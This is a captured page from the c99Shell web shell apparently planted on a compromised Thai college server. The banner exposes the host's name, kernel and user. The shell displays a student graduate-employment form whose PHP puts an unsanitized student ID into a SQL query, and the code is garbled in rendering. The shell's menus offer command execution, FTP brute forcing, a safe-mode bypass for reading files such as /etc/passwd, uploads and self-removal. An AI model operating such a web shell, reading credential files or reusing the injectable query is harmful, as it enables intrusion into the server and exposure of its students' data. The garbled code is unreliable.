!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/manage/Std_Acc_depart/Student/PI11/   drwxr-xr-x
Free 50.91 GB of 127.8 GB (39.84%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     AddStdSucc.php (16.19 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<html>
<?php
   
include("../../../Include/FunctionDB.php");
   include(
"../../../include/Function.php");
   
ConnectDB();
   
$sql "Select * From student_tb Where Student_id='$Student_id' AND Succ_Status='1'";
   
$result mysql_query($sql) or die("Error".mysql_error());
   
$rs mysql_fetch_array($result);
?>
<head>
<title>Student Record</title>
<link rel="stylesheet" href="../../../css/style1.css" type="text/css">
<meta http-equiv="Content-Type" content="text/html; charset=windows-874">
<script type="text/javascript">
              
function handleEnter (field, event) {
        var keyCode = event.keyCode ? event.keyCode : event.which ? event.which : event.charCode;
        if (keyCode == 13) {
            var i;
            for (i = 0; i < field.form.elements.length; i++)
                if (field == field.form.elements[i])
                    break;
            i = (i + 1) % field.form.elements.length;
            field.form.elements[i].focus();
            return false;
        } 
        else
        return true;
    }      

</script>
<script language="JavaScript1.2">
var highlightcolor="lightyellow"
var ns6=document.getElementById&&!document.all
var previous=''
var eventobj
//Regular expression to highlight only form elements
var intended=/INPUT|TEXTAREA|SELECT|OPTION/

//Function to check whether element clicked is form element
function checkel(which){
if (which.style&&intended.test(which.tagName)){
if (ns6&&eventobj.nodeType==3)
eventobj=eventobj.parentNode.parentNode
return true
}
else
return false
}

//Function to highlight form element
function highlight(e){
eventobj=ns6? e.target : event.srcElement
if (previous!=''){
if (checkel(previous))
previous.style.backgroundColor=''
previous=eventobj
if (checkel(eventobj))
eventobj.style.backgroundColor=highlightcolor
}
else{
if (checkel(eventobj))
eventobj.style.backgroundColor=highlightcolor
previous=eventobj
}
}
function formCheck(formobj){
    // Enter name of mandatory fields
    var fieldRequired = Array("Username","Password");
    // Enter field description to appear in the dialog box
    var fieldDescription = Array("ชื่อผู้ใช้","รหัสผ่าน");
    // dialog message
    var alertMsg = "Please complete the following fields:\n";
    var l_Msg = alertMsg.length;
    
    for (var i = 0; i < fieldRequired.length; i++){
        var obj = formobj.elements[fieldRequired[i]];
        if (obj){
            switch(obj.type){
            case "select-one":
                if (obj.selectedIndex == -1 || obj.options[obj.selectedIndex].text == ""){
                    alertMsg += " - " + fieldDescription[i] + "\n";
                }
                break;
            case "select-multiple":
                if (obj.selectedIndex == -1){
                    alertMsg += " - " + fieldDescription[i] + "\n";
                }
                break;
            case "text":
            case "textarea":
                if (obj.value == "" || obj.value == null){
                    alertMsg += " - " + fieldDescription[i] + "\n";
                }
                break;
            default:
            }
            if (obj.type == undefined){
                var blnchecked = false;
                for (var j = 0; j < obj.length; j++){
                    if (obj[j].checked){
                        blnchecked = true;
                    }
                }
                if (!blnchecked){
                    alertMsg += " - " + fieldDescription[i] + "\n";
                }
            }
        }
    }

    if (alertMsg.length == l_Msg){
        return true;
    }else{
        alert(alertMsg);
        return false;
    }
}

function chk(c){
if (c.checked){
document.all.D11.disabled=false;
document.all.D12.disabled=false;
document.all.D13.disabled=false;
document.all.D21.disabled=false;
document.all.D22.disabled=false;
document.all.D23.disabled=false;
}
else{
document.all.D11.disabled=true;
document.all.D12.disabled=true;
document.all.D13.disabled=true;
document.all.D21.disabled=true;
document.all.D22.disabled=true;
document.all.D23.disabled=true;
}
}
</script>
</head>

<body bgcolor="#FFFFFF">
<table width="100%" border="0" align="center" cellpadding="0" cellspacing="1" bordercolor="#006699" bgcolor="#F9F9F9">
  <tr bgcolor="#E8EEFD"> 
    <td colspan="4"> <div align="center"><strong><font color="#003366" size="4" face="Tahoma">แบบบันทึกบัณฑิตได้งานภายใน 
        1 ปี </font></strong></div></td>
  </tr>
  <form name="form1" action="InsertStdSuc.php" method="post" onKeyUp="highlight(event)" onClick="highlight(event)" onSubmit="return formCheck(this);">
    <tr bgcolor="#EEEEEE"> 
      <td><div align="center"><font color="#003366" size="2" face="Tahoma">ชื่อ-นามสกุล</font></div></td>
      <td bordercolor="#006699">&nbsp;</td>
      <td colspan="2" bordercolor="#006699"><table width="100%" border="0">
          <tr> 
            <td width="39%" bgcolor="#F7F7F7"><strong><font color="#000000" size="2" face="Tahoma"><? echo $rs[First_name]?> 
              <? echo $rs[Name]?>&nbsp;<? echo $rs[Lastname]?></font></strong></td>
            <td width="12%"><div align="center"><font color="#003366" size="2" face="Tahoma">รหัส</font></div></td>
            <td width="49%" bgcolor="#F7F7F7"><strong><font color="#993333" size="2" face="Tahoma"><? echo $rs[Student_id]?></font></strong></td>
          </tr>
        </table></td>
    </tr>
    <tr bgcolor="#EEEEEE"> 
      <td width="33%"><div align="center"><font color="#003366" size="2" face="Tahoma">ปีที่ีสำเร็จการศึกษา</font></div></td>
      <td width="2%" bordercolor="#006699"><font size="2" face="Tahoma">&nbsp;</font></td>
      <td width="65%" colspan="2" bordercolor="#006699"><font size="2" face="Tahoma"> 
        <input name="Year_grad" type="text" id="Year_grad" size="6" onkeypress="return handleEnter(this, event)" >
        </font></td>
    </tr>
    <tr bgcolor="#EEEEEE"> 
      <td rowspan="2" bgcolor="#EEEEEE"> <div align="center"><font color="#003366" size="2" face="Tahoma">ข้อมูลการสอบสภา 
          ผ่านครบ 8 วิชาในครั้งแรก</font></div></td>
      <td rowspan="2" bordercolor="#006699">&nbsp;</td>
      <td colspan="2" bordercolor="#006699" bgcolor="#EEEEEE"><font size="2" face="Tahoma"> 
        <input type="radio" name="Pass_test" value="1" onkeypress="return handleEnter(this, event)" >
        ใช่ </font></td>
    </tr>
    <tr bgcolor="#EEEEEE"> 
      <td height="20" colspan="2" bordercolor="#006699" bgcolor="#EEEEEE"><font size="2" face="Tahoma"> 
        <input type="radio" name="Pass_test" value="2" onkeypress="return handleEnter(this, event)" >
        ไม่ใช่ จำนวนครั้ง 
        <input name="Times" type="text" id="Times" size="5"  onkeypress="return handleEnter(this, event)">
        ครั้ง ผลการสอบ 
        <input type="radio" name="Past_test" value="1"  onkeypress="return handleEnter(this, event)">
        ผ่าน 
        <input type="radio" name="Past_test" value="2"  onkeypress="return handleEnter(this, event)">
        ไม่ผ่าน </font></td>
    </tr>
    <tr bgcolor="#EEEEEE"> 
      <td rowspan="2"> <div align="center"><font color="#003366" size="2" face="Tahoma">สถานที่ทำงานปัจจุบัน</font></div></td>
      <td height="20" bordercolor="#006699">&nbsp;</td>
      <td colspan="2" bordercolor="#006699" bgcolor="#EEEEEE"><font size="2" face="Tahoma"> 
        <input type="radio" name="Place" value="1">
        ระดับปฐมภูมิ </font> 
        <input type="radio" name="Place" value="2">
        <font size="2" face="Tahoma">ระดับทุติยภูมิขึ้นไป</font></td>
    </tr>
    <tr bgcolor="#EEEEEE"> 
      <td height="20" bordercolor="#006699">&nbsp;</td>
      <td colspan="2" bordercolor="#006699" bgcolor="#EEEEEE">&nbsp;&nbsp;<font size="2" face="Tahoma">ระบ</font>ุ 
        <input name="Work_addr" type="text" id="Work_addr2" size="50" onkeypress="return handleEnter(this, event)" ></td>
    </tr>
    <tr bgcolor="#EEEEEE"> 
      <td height="20"><div align="center"><font color="#003366" size="2" face="Tahoma">สังกัด</font></div></td>
      <td bordercolor="#006699">&nbsp;</td>
      <td colspan="2" bordercolor="#006699" bgcolor="#EEEEEE"><input name="Depart" type="text" id="Depart" size="40" onkeypress="return handleEnter(this, event)" ></td>
    </tr>
    <tr bgcolor="#EEEEEE"> 
      <td height="20"><div align="center"><font color="#003366" size="2" face="Tahoma">ที่อยู่ติดต่อได้สะดวก</font></div></td>
      <td bordercolor="#006699">&nbsp;</td>
      <td colspan="2" bordercolor="#006699" bgcolor="#EEEEEE"><textarea name="Contact_addr" cols="40" rows="4" id="Contact_addr"></textarea></td>
    </tr>
    <tr bgcolor="#EEEEEE"> 
      <td rowspan="13"> <div align="center"><font color="#003366" size="2" face="Tahoma">ข้อมูลการทำงาน</font></div></td>
      <td rowspan="4" bordercolor="#006699">&nbsp;</td>
      <td height="20" colspan="2" bordercolor="#006699" bgcolor="#E4E4E4"><font size="2" face="Tahoma"> 
        <input name="Work_status" type="checkbox" id="Work_status" value="1"  onkeypress="return handleEnter(this, event)">
        พยาบาล </font></td>
    </tr>
    <tr bgcolor="#EEEEEE"> 
      <td height="22" colspan="2" bordercolor="#006699" bgcolor="#E4E4E4"><font size="2" face="Tahoma">&nbsp;ตำแหน่งปัจจุบัน&nbsp; 
        <input type="text" name="textfield4"  onkeypress="return handleEnter(this, event)">
        ระดับ 
        <input name="Level" type="text" id="Level2" size="5"  onkeypress="return handleEnter(this, event)">
        </font></td>
    </tr>
    <tr bgcolor="#EEEEEE"> 
      <td height="22" colspan="2" bordercolor="#006699" bgcolor="#E4E4E4"><font size="2" face="Tahoma"> 
        &nbsp;ชื่อหน่วยงาน&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 
        <input name="textfield6" type="text" size="30"  onkeypress="return handleEnter(this, event)">
        แผนก 
        <input name="textfield7" type="text" size="20"  onkeypress="return handleEnter(this, event)">
        </font></td>
    </tr>
    <tr bgcolor="#EEEEEE"> 
      <td colspan="2" bordercolor="#006699" bgcolor="#E4E4E4"><font size="2" face="Tahoma">&nbsp;ว/ด/ป 
        เริ่มทำงาน 
        <input name="Date_w1" type="text" id="Date_w1"  onkeypress="return handleEnter(this, event)">
        ถึง 
        <input name="Date_w11" type="text" id="Date_w11"  onkeypress="return handleEnter(this, event)">
        </font></td>
    </tr>
    <tr bgcolor="#EEEEEE"> 
      <td rowspan="3" bordercolor="#006699">&nbsp;</td>
      <td colspan="2" bordercolor="#006699" bgcolor="#E4E4E4"><font size="2" face="Tahoma"> 
        <input name="Work_status" type="checkbox" id="Work_status" value="2" onkeypress="return handleEnter(this, event)">
        พยาบาลอิสระ(Parttime) </font></td>
    </tr>
    <tr bgcolor="#EEEEEE"> 
      <td colspan="2" bordercolor="#006699" bgcolor="#E4E4E4"><font size="2" face="Tahoma">&nbsp;ชื่อหน่วยงาน&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 
        <input name="textfield32" type="text" size="30"  onkeypress="return handleEnter(this, event)">
        </font></td>
    </tr>
    <tr bgcolor="#EEEEEE"> 
      <td colspan="2" bordercolor="#006699" bgcolor="#E4E4E4"><font size="2" face="Tahoma">&nbsp;ว/ด/ป 
        เริ่มทำงาน 
        <input name="Date_w2" type="text" id="Date_w2"  onkeypress="return handleEnter(this, event)">
        ถึง 
        <input name="Date_w22" type="text" id="Date_w22"  onkeypress="return handleEnter(this, event)">
        </font></td>
    </tr>
    <tr bgcolor="#EEEEEE"> 
      <td rowspan="3" bordercolor="#006699">&nbsp;</td>
      <td colspan="2" bordercolor="#006699" bgcolor="#E4E4E4"><font size="2" face="Tahoma"> 
        <input name="Work_status" type="checkbox" id="Work_status" value="3"  onkeypress="return handleEnter(this, event)">
        อื่นฯ ระบุ </font></td>
    </tr>
    <tr bgcolor="#EEEEEE"> 
      <td colspan="2" bordercolor="#006699" bgcolor="#E4E4E4"><font size="2" face="Tahoma">&nbsp;ชื่อหน่วยงาน&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 
        <input type="text" name="textfield3"  onkeypress="return handleEnter(this, event)">
        แผนก 
        <input type="text" name="textfield10"  onkeypress="return handleEnter(this, event)">
        </font></td>
    </tr>
    <tr bgcolor="#EEEEEE"> 
      <td colspan="2" bordercolor="#006699" bgcolor="#E4E4E4"><font size="2" face="Tahoma">&nbsp;ว/ด/ป 
        เริ่มทำงาน 
        <input name="Date_w3" type="text" id="Date_w3"  onkeypress="return handleEnter(this, event)">
        ถึง 
        <input name="Date_w33" type="text" id="Date_w33"  onkeypress="return handleEnter(this, event)">
        </font></td>
    </tr>
    <tr bgcolor="#EEEEEE"> 
      <td bordercolor="#006699">&nbsp;</td>
      <td colspan="2" bordercolor="#006699" bgcolor="#E4E4E4"><font size="2" face="Tahoma"> 
        <input name="Work_status" type="checkbox" id="Work_status" value="4"  onkeypress="return handleEnter(this, event)">
        ว่างงาน </font></td>
    </tr>
    <tr bgcolor="#EEEEEE"> 
      <td bordercolor="#006699">&nbsp;</td>
      <td colspan="2" bordercolor="#006699" bgcolor="#EEEEEE"><font size="2" face="Tahoma">&nbsp;การเปลี่ยนงาน 
        <input name="Work_change" type="text" id="Work_change"  onkeypress="return handleEnter(this, event)">
        </font></td>
    </tr>
    <tr bgcolor="#EEEEEE"> 
      <td bordercolor="#006699">&nbsp;</td>
      <td colspan="2" bordercolor="#006699" bgcolor="#EEEEEE"><div align="left"><font size="2" face="Tahoma">&nbsp;รายได้เฉลี่ย/เดือน 
          <input name="Income_m" type="text" id="Income_m" size="10"  onkeypress="return handleEnter(this, event)">
          บาท รายได้เฉลี่ย/ปี 
          <input name="Income_y" type="text" id="Income_y" size="10"  onkeypress="return handleEnter(this, event)">
          บาท </font></div></td>
    </tr>
    <tr bgcolor="#EEEEEE"> 
      <td rowspan="5"><div align="center"><font color="#003366" size="2" face="Tahoma">ข้อมูลการศึกษาต่อ</font></div>
        <font color="#003366">&nbsp;</font><font color="#003366">&nbsp;</font></td>
      <td rowspan="3" bordercolor="#006699">&nbsp;</td>
      <td colspan="2" bordercolor="#006699" bgcolor="#EEEEEE"><input name="Learn_flag" type="checkbox" id="Learn_flag" onclick="chk(this)" value="1"> 
        <font size="2" face="Tahoma"> การศีกษาต่อ </font></td>
    </tr>
    <tr bgcolor="#EEEEEE"> 
      <td colspan="2" bordercolor="#006699" bgcolor="#EEEEEE"><font size="2" face="Tahoma">&nbsp;ระดับการศึกษา 
        <input name="D11" type="text" id="D11" disabled>
        คณะ 
        <input name="D12" type="text" id="D12"  disabled >
        </font></td>
    </tr>
    <tr bgcolor="#EEEEEE"> 
      <td colspan="2" bordercolor="#006699" bgcolor="#EEEEEE"><font size="2" face="Tahoma">&nbsp;สถาบัน&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 
        <input name="D13" type="text" id="D13" size="40" disabled >
        </font></td>
    </tr>
    <tr bgcolor="#EEEEEE"> 
      <td rowspan="2" bordercolor="#006699">&nbsp;</td>
      <td colspan="2" bordercolor="#006699" bgcolor="#EEEEEE"><font size="2" face="Tahoma">&nbsp;ระดับการศึกษา 
        <input name="D21" type="text" id="D21"  disabled >
        คณะ 
        <input name="D22" type="text" id="D22" onkeypress="return handleEnter(this, event)"  disabled  >
        </font></td>
    </tr>
    <tr bgcolor="#EEEEEE"> 
      <td colspan="2" bordercolor="#006699" bgcolor="#EEEEEE"><font size="2" face="Tahoma">&nbsp;สถาบัน&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 
        <input name="D23" type="text" id="D23" size="40" disabled>
        </font></td>
    </tr>
    <tr bgcolor="#EEEEEE"> 
      <td height="20"> <div align="center"><font size="2" face="Tahoma">รางวัลที่ได้รับ</font></div></td>
      <td bordercolor="#006699">&nbsp;</td>
      <td colspan="2" bordercolor="#006699" bgcolor="#EEEEEE"> <table width="100%" border="0" cellpadding="0" cellspacing="1">
          <tr> 
            <td width="28%"><font size="2" face="Tahoma">ขณะศึกษาที่วิทยาลัย </font></td>
            <td width="72%"><font size="2" face="Tahoma"> 
              <input name="Award_in" type="text" id="Award_in" size="50" onkeypress="return handleEnter(this, event)" >
              </font></td>
          </tr>
        </table></td>
    </tr>
    <tr bgcolor="#EEEEEE"> 
      <td>&nbsp;</td>
      <td bordercolor="#006699">&nbsp;</td>
      <td colspan="2" bordercolor="#006699" bgcolor="#EEEEEE"><table width="100%" border="0" cellpadding="0" cellspacing="1">
          <tr> 
            <td width="28%"><font size="2" face="Tahoma">ขณะทำงาน</font></td>
            <td width="72%"><font size="2" face="Tahoma"> 
              <input name="Award_out" type="text" id="Award_out" size="50"  onkeypress="return handleEnter(this, event)">
              </font></td>
          </tr>
        </table></td>
    </tr>
    <tr bgcolor="#E8EEFD"> 
      <td colspan="4"> <div align="center"> 
          <input name="Student_id" type="hidden" id="Student_id" value="<? echo $rs[Student_id]?>">
          <input type="submit" name="Submit3" value="    เพิ่ม    ">
          &nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 
          <input type="reset" name="Submit22" value="   เคลียร์   ">
        </div></td>
    </tr>
  </form>
</table>
</body>
</html>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0162 ]--